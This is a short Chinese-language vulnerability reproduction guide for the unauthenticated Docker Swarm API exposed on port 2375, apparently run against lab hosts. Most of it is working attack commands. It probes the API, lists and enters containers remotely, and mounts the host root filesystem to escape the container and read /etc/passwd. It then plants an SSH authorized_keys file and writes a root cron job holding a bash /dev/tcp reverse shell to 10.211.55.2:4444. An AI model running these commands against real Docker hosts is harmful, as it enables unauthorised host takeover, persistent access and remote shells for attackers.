Docker Swarm是Docker的集群管理工具,它将Docker主机池转变为单个虚拟Docker主机,能够方便的进行docker集群的管理和扩展。Docker Swarm使用标准的Docker API通过2375端口来管理每个Docker节点,Docker API是一个取代远程命令行界面(RCLI)的REST API。当Docker节点的2375端口直接暴露并未做权限检查时,存在未授权访问漏洞,攻击者可以利用Docker API执行任何操作,包括执行Docker命令,创建、删除Docker以及获得宿主机权限等。
漏洞复现
http://x.x.x.x:2375/version
http://x.x.x.x:2375/images
http://x.x.x.x:2375/info
docker命令远程管理
docker -H tcp://10.211.55.18:2375 images -a
docker -H tcp://10.211.55.18:2375 ps
docker -H tcp://10.211.55.18:2375 exec -it e7d97caf249d /bin/bash
获取宿主机权限
docker -H tcp://10.211.55.18:2375 run -it -v /:/opt b76f96a98a27 /bin/bash
chroot
chroot /opt bash#然后就可以执行如下一些命令,但是查看的ip和反弹shell等一些命令,还是容器内的historycat /etc/passwd
写入SSH公钥
docker -H tcp://10.211.55.18:2375 cp /Users/xie/Desktop/authorized_keys 4dcf21117fb2:/opt/root/.ssh
chown root.root authorized_keys
计划任务反弹shell
#切换到挂载的目录
cd /opt/var/spool/cron
#写入反弹shell的命令
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/10.211.55.2/4444 0>&1" > root
END